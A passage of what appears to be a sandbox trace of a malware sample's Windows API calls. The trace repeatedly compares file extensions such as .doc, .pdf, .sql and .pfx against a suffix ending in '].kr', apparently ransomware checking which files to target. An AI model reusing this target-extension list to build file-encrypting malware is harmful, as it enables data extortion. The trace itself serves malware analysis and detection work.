(lpString1=".class", lpString2="cc].kr") returned -1 [0082.346] lstrlenW (lpString=".clx") returned 4 [0082.346] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0082.346] lstrlenW (lpString=".config") returned 7 [0082.346] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0082.346] lstrlenW (lpString=".cpp") returned 4 [0082.346] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0082.346] lstrlenW (lpString=".cr2") returned 4 [0082.346] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0082.346] lstrlenW (lpString=".crt") returned 4 [0082.346] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0082.346] lstrlenW (lpString=".crw") returned 4 [0082.346] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0082.346] lstrlenW (lpString=".cs") returned 3 [0082.347] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0082.347] lstrlenW (lpString=".css") returned 4 [0082.347] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0082.347] lstrlenW (lpString=".csv") returned 4 [0082.347] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0082.347] lstrlenW (lpString=".cub") returned 4 [0082.347] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0082.347] lstrlenW (lpString=".dae") returned 4 [0082.347] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0082.347] lstrlenW (lpString=".dat") returned 4 [0082.347] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0082.347] lstrlenW (lpString=".db") returned 3 [0082.347] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0082.347] lstrlenW (lpString=".dbf") returned 4 [0082.347] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0082.347] lstrlenW (lpString=".dbx") returned 4 [0082.347] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0082.347] lstrlenW (lpString=".dc3") returned 4 [0082.347] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0082.347] lstrlenW (lpString=".dcm") returned 4 [0082.347] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0082.347] lstrlenW (lpString=".dcr") returned 4 [0082.347] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0082.347] lstrlenW (lpString=".der") returned 4 [0082.347] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0082.347] lstrlenW (lpString=".dib") returned 4 [0082.347] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0082.347] lstrlenW (lpString=".dic") returned 4 [0082.347] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0082.347] lstrlenW (lpString=".dif") returned 4 [0082.347] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0082.347] lstrlenW (lpString=".divx") returned 5 [0082.348] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0082.348] lstrlenW (lpString=".djvu") returned 5 [0082.348] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0082.348] lstrlenW (lpString=".dng") returned 4 [0082.348] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0082.348] lstrlenW (lpString=".doc") returned 4 [0082.348] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0082.348] lstrlenW (lpString=".docm") returned 5 [0082.348] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0082.348] lstrlenW (lpString=".docx") returned 5 [0082.348] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0082.348] lstrlenW (lpString=".dot") returned 4 [0082.348] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0082.348] lstrlenW (lpString=".dotm") returned 5 [0082.348] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0082.348] lstrlenW (lpString=".dotx") returned 5 [0082.348] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0082.348] lstrlenW (lpString=".dpx") returned 4 [0082.348] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0082.348] lstrlenW (lpString=".dqy") returned 4 [0082.348] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0082.348] lstrlenW (lpString=".dsn") returned 4 [0082.348] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0082.348] lstrlenW (lpString=".dt") returned 3 [0082.348] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0082.348] lstrlenW (lpString=".dtd") returned 4 [0082.348] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0082.348] lstrlenW (lpString=".dwg") returned 4 [0082.348] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0082.348] lstrlenW (lpString=".dwt") returned 4 [0082.349] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0082.349] lstrlenW (lpString=".dx") returned 3 [0082.349] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0082.349] lstrlenW (lpString=".dxf") returned 4 [0082.349] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0082.349] lstrlenW (lpString=".edml") returned 5 [0082.349] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0082.349] lstrlenW (lpString=".efd") returned 4 [0082.349] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0082.349] lstrlenW (lpString=".elf") returned 4 [0082.349] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0082.349] lstrlenW (lpString=".emf") returned 4 [0082.349] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0082.349] lstrlenW (lpString=".emz") returned 4 [0082.349] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0082.349] lstrlenW (lpString=".epf") returned 4 [0082.349] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0082.349] lstrlenW (lpString=".eps") returned 4 [0082.349] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0082.349] lstrlenW (lpString=".epsf") returned 5 [0082.349] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0082.349] lstrlenW (lpString=".epsp") returned 5 [0082.349] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0082.349] lstrlenW (lpString=".erf") returned 4 [0082.349] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0082.349] lstrlenW (lpString=".exr") returned 4 [0082.349] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0082.349] lstrlenW (lpString=".f4v") returned 4 [0082.349] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0082.349] lstrlenW (lpString=".fido") returned 5 [0082.350] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0082.350] lstrlenW (lpString=".flm") returned 4 [0082.350] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0082.350] lstrlenW (lpString=".flv") returned 4 [0082.350] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0082.350] lstrlenW (lpString=".frm") returned 4 [0082.350] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0082.350] lstrlenW (lpString=".fxg") returned 4 [0082.350] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0082.350] lstrlenW (lpString=".geo") returned 4 [0082.350] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0082.350] lstrlenW (lpString=".gif") returned 4 [0082.350] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0082.350] lstrlenW (lpString=".grs") returned 4 [0082.350] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0082.350] lstrlenW (lpString=".gz") returned 3 [0082.350] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0082.350] lstrlenW (lpString=".h") returned 2 [0082.350] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0082.350] lstrlenW (lpString=".hdr") returned 4 [0082.350] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0082.350] lstrlenW (lpString=".hpp") returned 4 [0082.350] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0082.350] lstrlenW (lpString=".hta") returned 4 [0082.350] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0082.350] lstrlenW (lpString=".htc") returned 4 [0082.351] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0082.351] lstrlenW (lpString=".htm") returned 4 [0082.351] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0082.351] lstrlenW (lpString=".html") returned 5 [0082.351] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0082.351] lstrlenW (lpString=".icb") returned 4 [0082.351] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0082.351] lstrlenW (lpString=".ics") returned 4 [0082.351] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0082.351] lstrlenW (lpString=".iff") returned 4 [0082.351] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0082.351] lstrlenW (lpString=".inc") returned 4 [0082.351] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0082.351] lstrlenW (lpString=".indd") returned 5 [0082.351] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0082.351] lstrlenW (lpString=".ini") returned 4 [0082.351] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0082.351] lstrlenW (lpString=".iqy") returned 4 [0082.351] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0082.351] lstrlenW (lpString=".j2c") returned 4 [0082.351] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0082.351] lstrlenW (lpString=".j2k") returned 4 [0082.351] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0082.351] lstrlenW (lpString=".java") returned 5 [0082.351] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0082.351] lstrlenW (lpString=".jp2") returned 4 [0082.351] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0082.351] lstrlenW (lpString=".jpc") returned 4 [0082.351] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0082.351] lstrlenW (lpString=".jpe") returned 4 [0082.352] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0082.352] lstrlenW (lpString=".jpeg") returned 5 [0082.352] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0082.352] lstrlenW (lpString=".jpf") returned 4 [0082.352] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0082.352] lstrlenW (lpString=".jpg") returned 4 [0082.352] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0082.352] lstrlenW (lpString=".jpx") returned 4 [0082.352] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0082.352] lstrlenW (lpString=".js") returned 3 [0082.352] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0082.352] lstrlenW (lpString=".jsf") returned 4 [0082.352] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0082.352] lstrlenW (lpString=".json") returned 5 [0082.352] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0082.352] lstrlenW (lpString=".jsp") returned 4 [0082.352] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0082.352] lstrlenW (lpString=".kdc") returned 4 [0082.352] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0082.352] lstrlenW (lpString=".kmz") returned 4 [0082.352] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0082.352] lstrlenW (lpString=".kwm") returned 4 [0082.352] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0082.352] lstrlenW (lpString=".lasso") returned 6 [0082.352] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0082.352] lstrlenW (lpString=".lbi") returned 4 [0082.352] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0082.352] lstrlenW (lpString=".lgf") returned 4 [0082.352] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0082.353] lstrlenW (lpString=".lgp") returned 4 [0082.353] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0082.353] lstrlenW (lpString=".log") returned 4 [0082.353] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0082.353] lstrlenW (lpString=".m1v") returned 4 [0082.353] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0082.353] lstrlenW (lpString=".m4a") returned 4 [0082.353] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0082.353] lstrlenW (lpString=".m4v") returned 4 [0082.353] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0082.353] lstrlenW (lpString=".max") returned 4 [0082.353] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0082.353] lstrlenW (lpString=".md") returned 3 [0082.353] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0082.353] lstrlenW (lpString=".mda") returned 4 [0082.353] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0082.353] lstrlenW (lpString=".mdb") returned 4 [0082.353] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0082.353] lstrlenW (lpString=".mde") returned 4 [0082.353] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0082.353] lstrlenW (lpString=".mdf") returned 4 [0082.353] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0082.353] lstrlenW (lpString=".mdw") returned 4 [0082.353] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0082.353] lstrlenW (lpString=".mef") returned 4 [0082.353] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0082.353] lstrlenW (lpString=".mft") returned 4 [0082.353] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0082.353] lstrlenW (lpString=".mfw") returned 4 [0082.353] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0082.353] lstrlenW (lpString=".mht") returned 4 [0082.353] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0082.353] lstrlenW (lpString=".mhtml") returned 6 [0082.354] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0082.354] lstrlenW (lpString=".mka") returned 4 [0082.354] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0082.354] lstrlenW (lpString=".mkidx") returned 6 [0082.354] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0082.354] lstrlenW (lpString=".mkv") returned 4 [0082.354] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0082.354] lstrlenW (lpString=".mos") returned 4 [0082.354] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0082.354] lstrlenW (lpString=".mov") returned 4 [0082.354] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0082.354] lstrlenW (lpString=".mp3") returned 4 [0082.354] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0082.354] lstrlenW (lpString=".mp4") returned 4 [0082.354] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0082.354] lstrlenW (lpString=".mpeg") returned 5 [0082.354] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0082.354] lstrlenW (lpString=".mpg") returned 4 [0082.354] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0082.354] lstrlenW (lpString=".mpv") returned 4 [0082.354] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0082.354] lstrlenW (lpString=".mrw") returned 4 [0082.354] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0082.354] lstrlenW (lpString=".msg") returned 4 [0082.354] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0082.354] lstrlenW (lpString=".mxl") returned 4 [0082.354] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0082.354] lstrlenW (lpString=".myd") returned 4 [0082.354] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0082.354] lstrlenW (lpString=".myi") returned 4 [0082.354] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0082.354] lstrlenW (lpString=".nef") returned 4 [0082.354] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0082.354] lstrlenW (lpString=".nrw") returned 4 [0082.355] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0082.355] lstrlenW (lpString=".obj") returned 4 [0082.355] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0082.355] lstrlenW (lpString=".odb") returned 4 [0082.355] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0082.355] lstrlenW (lpString=".odc") returned 4 [0082.355] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0082.355] lstrlenW (lpString=".odm") returned 4 [0082.355] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0082.355] lstrlenW (lpString=".odp") returned 4 [0082.355] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0082.355] lstrlenW (lpString=".ods") returned 4 [0082.355] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0082.355] lstrlenW (lpString=".oft") returned 4 [0082.355] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0082.355] lstrlenW (lpString=".one") returned 4 [0082.355] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0082.355] lstrlenW (lpString=".onepkg") returned 7 [0082.355] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0082.355] lstrlenW (lpString=".onetoc2") returned 8 [0082.355] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0082.355] lstrlenW (lpString=".opt") returned 4 [0082.355] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0082.355] lstrlenW (lpString=".oqy") returned 4 [0082.355] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0082.355] lstrlenW (lpString=".orf") returned 4 [0082.355] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0082.355] lstrlenW (lpString=".p12") returned 4 [0082.355] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0082.355] lstrlenW (lpString=".p7b") returned 4 [0082.355] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0082.356] lstrlenW (lpString=".p7c") returned 4 [0082.356] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0082.356] lstrlenW (lpString=".pam") returned 4 [0082.356] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0082.356] lstrlenW (lpString=".pbm") returned 4 [0082.356] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0082.356] lstrlenW (lpString=".pct") returned 4 [0082.356] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0082.356] lstrlenW (lpString=".pcx") returned 4 [0082.356] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0082.356] lstrlenW (lpString=".pdd") returned 4 [0082.356] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0082.356] lstrlenW (lpString=".pdf") returned 4 [0082.356] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0082.356] lstrlenW (lpString=".pdp") returned 4 [0082.356] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0082.356] lstrlenW (lpString=".pef") returned 4 [0082.356] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0082.356] lstrlenW (lpString=".pem") returned 4 [0082.356] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0082.356] lstrlenW (lpString=".pff") returned 4 [0082.356] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0082.356] lstrlenW (lpString=".pfm") returned 4 [0082.356] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0082.356] lstrlenW (lpString=".pfx") returned 4 [0082.356] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0082.356] lstrlenW (lpString=".pgm") returned 4 [0082.356] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0082.356] lstrlenW (lpString=".php") returned 4 [0082.356] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0082.356] lstrlenW (lpString=".php3") returned 5 [0082.357] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0083.933] lstrlenW (lpString=".php4") returned 5 [0083.934] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0083.949] lstrlenW (lpString=".php5") returned 5 [0083.949] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0083.949] lstrlenW (lpString=".phtml") returned 6 [0083.949] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0083.949] lstrlenW (lpString=".pict") returned 5 [0083.949] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0083.949] lstrlenW (lpString=".pl") returned 3 [0083.949] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0083.949] lstrlenW (lpString=".pls") returned 4 [0083.949] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0083.949] lstrlenW (lpString=".pm") returned 3 [0083.949] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0083.949] lstrlenW (lpString=".png") returned 4 [0083.949] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0083.949] lstrlenW (lpString=".pnm") returned 4 [0083.949] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0083.949] lstrlenW (lpString=".pot") returned 4 [0083.949] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0083.949] lstrlenW (lpString=".potm") returned 5 [0083.949] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0083.949] lstrlenW (lpString=".potx") returned 5 [0083.949] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0083.949] lstrlenW (lpString=".ppa") returned 4 [0083.949] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0083.949] lstrlenW (lpString=".ppam") returned 5 [0083.949] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0083.949] lstrlenW (lpString=".ppm") returned 4 [0083.949] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0083.949] lstrlenW (lpString=".pps") returned 4 [0083.949] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0083.949] lstrlenW (lpString=".ppsm") returned 5 [0083.950] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0083.950] lstrlenW (lpString=".ppt") returned 4 [0083.950] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0083.950] lstrlenW (lpString=".pptm") returned 5 [0083.950] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0083.950] lstrlenW (lpString=".pptx") returned 5 [0083.950] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0083.950] lstrlenW (lpString=".prn") returned 4 [0083.950] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0083.950] lstrlenW (lpString=".ps") returned 3 [0083.950] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0083.950] lstrlenW (lpString=".psb") returned 4 [0083.950] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0083.950] lstrlenW (lpString=".psd") returned 4 [0083.950] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0083.950] lstrlenW (lpString=".pst") returned 4 [0083.950] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0083.950] lstrlenW (lpString=".ptx") returned 4 [0083.950] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0083.950] lstrlenW (lpString=".pub") returned 4 [0083.950] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0083.950] lstrlenW (lpString=".pwm") returned 4 [0083.950] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0083.950] lstrlenW (lpString=".pxr") returned 4 [0083.950] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0083.950] lstrlenW (lpString=".py") returned 3 [0083.950] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0083.951] lstrlenW (lpString=".qt") returned 3 [0083.951] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0083.951] lstrlenW (lpString=".r3d") returned 4 [0083.951] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0083.951] lstrlenW (lpString=".raf") returned 4 [0083.951] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0083.951] lstrlenW (lpString=".rar") returned 4 [0083.951] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0083.951] lstrlenW (lpString=".raw") returned 4 [0083.951] lstrcmpiW (lpString1=".raw", lpString2="].kr") returned -1 [0083.951] lstrlenW (lpString=".rdf") returned 4 [0083.951] lstrcmpiW (lpString1=".rdf", lpString2="].kr") returned -1 [0083.951] lstrlenW (lpString=".rgbe") returned 5 [0083.951] lstrcmpiW (lpString1=".rgbe", lpString2="c].kr") returned -1 [0083.951] lstrlenW (lpString=".rle") returned 4 [0083.951] lstrcmpiW (lpString1=".rle", lpString2="].kr") returned -1 [0083.951] lstrlenW (lpString=".rqy") returned 4 [0083.951] lstrcmpiW (lpString1=".rqy", lpString2="].kr") returned -1 [0083.951] lstrlenW (lpString=".rss") returned 4 [0083.951] lstrcmpiW (lpString1=".rss", lpString2="].kr") returned -1 [0083.951] lstrlenW (lpString=".rtf") returned 4 [0083.951] lstrcmpiW (lpString1=".rtf", lpString2="].kr") returned -1 [0083.951] lstrlenW (lpString=".rw2") returned 4 [0083.951] lstrcmpiW (lpString1=".rw2", lpString2="].kr") returned -1 [0083.951] lstrlenW (lpString=".rwl") returned 4 [0083.951] lstrcmpiW (lpString1=".rwl", lpString2="].kr") returned -1 [0083.951] lstrlenW (lpString=".safe") returned 5 [0083.952] lstrcmpiW (lpString1=".safe", lpString2="c].kr") returned -1 [0083.952] lstrlenW (lpString=".sct") returned 4 [0083.952] lstrcmpiW (lpString1=".sct", lpString2="].kr") returned -1 [0083.952] lstrlenW (lpString=".sdpx") returned 5 [0083.952] lstrcmpiW (lpString1=".sdpx", lpString2="c].kr") returned -1 [0083.952] lstrlenW (lpString=".shtm") returned 5 [0083.952] lstrcmpiW (lpString1=".shtm", lpString2="c].kr") returned -1 [0083.952] lstrlenW (lpString=".shtml") returned 6 [0083.952] lstrcmpiW (lpString1=".shtml", lpString2="cc].kr") returned -1 [0083.952] lstrlenW (lpString=".slk") returned 4 [0083.952] lstrcmpiW (lpString1=".slk", lpString2="].kr") returned -1 [0083.952] lstrlenW (lpString=".sln") returned 4 [0083.952] lstrcmpiW (lpString1=".sln", lpString2="].kr") returned -1 [0083.952] lstrlenW (lpString=".sql") returned 4 [0083.952] lstrcmpiW (lpString1=".sql", lpString2="].kr") returned -1 [0083.952] lstrlenW (lpString=".sr2") returned 4 [0083.952] lstrcmpiW (lpString1=".sr2", lpString2="].kr") returned -1 [0083.952] lstrlenW (lpString=".srf") returned 4 [0083.952] lstrcmpiW (lpString1=".srf", lpString2="].kr") returned -1 [0083.952] lstrlenW (lpString=".srw") returned 4 [0083.952] lstrcmpiW (lpString1=".srw", lpString2="].kr") returned -1 [0083.952] lstrlenW (lpString=".ssi") returned 4 [0083.952] lstrcmpiW (lpString1=".ssi", lpString2="].kr") returned -1 [0083.952] lstrlenW (lpString=".st") returned 3 [0083.952] lstrcmpiW (lpString1=".st", lpString2=".kr") returned 1 [0083.952] lstrlenW (lpString=".stm") returned 4 [0083.952] lstrcmpiW (lpString1=".stm", lpString2="].kr") returned -1 [0083.952] lstrlenW (lpString=".svg") returned 4 [0083.953] lstrcmpiW (lpString1=".svg", lpString2="].kr") returned -1 [0083.953] lstrlenW (lpString=".svgz") returned 5 [0083.953] lstrcmpiW (lpString1=".svgz", lpString2="c].kr") returned -1 [0083.953] lstrlenW (lpString=".swf") returned 4 [0083.953] lstrcmpiW (lpString1=".swf", lpString2="].kr") returned -1 [0083.953] lstrlenW (lpString=".tab") returned 4 [0083.953] lstrcmpiW (lpString1=".tab", lpString2="].kr") returned -1 [0083.953] lstrlenW (lpString=".tar") returned 4 [0083.953] lstrcmpiW (lpString1=".tar", lpString2="].kr") returned -1 [0083.953] lstrlenW (lpString=".tbb") returned 4 [0083.953] lstrcmpiW (lpString1=".tbb", lpString2="].kr") returned -1 [0083.953] lstrlenW (lpString=".tbi") returned 4 [0083.953] lstrcmpiW (lpString1=".tbi", lpString2="].kr") returned -1 [0083.953] lstrlenW (lpString=".tbk") returned 4 [0083.953] lstrcmpiW (lpString1=".tbk", lpString2="].kr") returned -1 [0083.953] lstrlenW (lpString=".tdi") returned 4 [0083.953] lstrcmpiW (lpString1=".tdi", lpString2="].kr") returned -1 [0083.953] lstrlenW (lpString=".tga") returned 4 [0083.953] lstrcmpiW (lpString1=".tga", lpString2="].kr") returned -1 [0083.953] lstrlenW (lpString=".thmx") returned 5 [0083.953] lstrcmpiW (lpString1=".thmx", lpString2="c].kr") returned -1 [0083.953] lstrlenW (lpString=".tif") returned 4 [0083.953] lstrcmpiW (lpString1=".tif", lpString2="].kr") returned -1 [0083.953] lstrlenW (lpString=".tiff") returned 5 [0083.953] lstrcmpiW (lpString1=".tiff", lpString2="c].kr") returned -1 [0083.953] 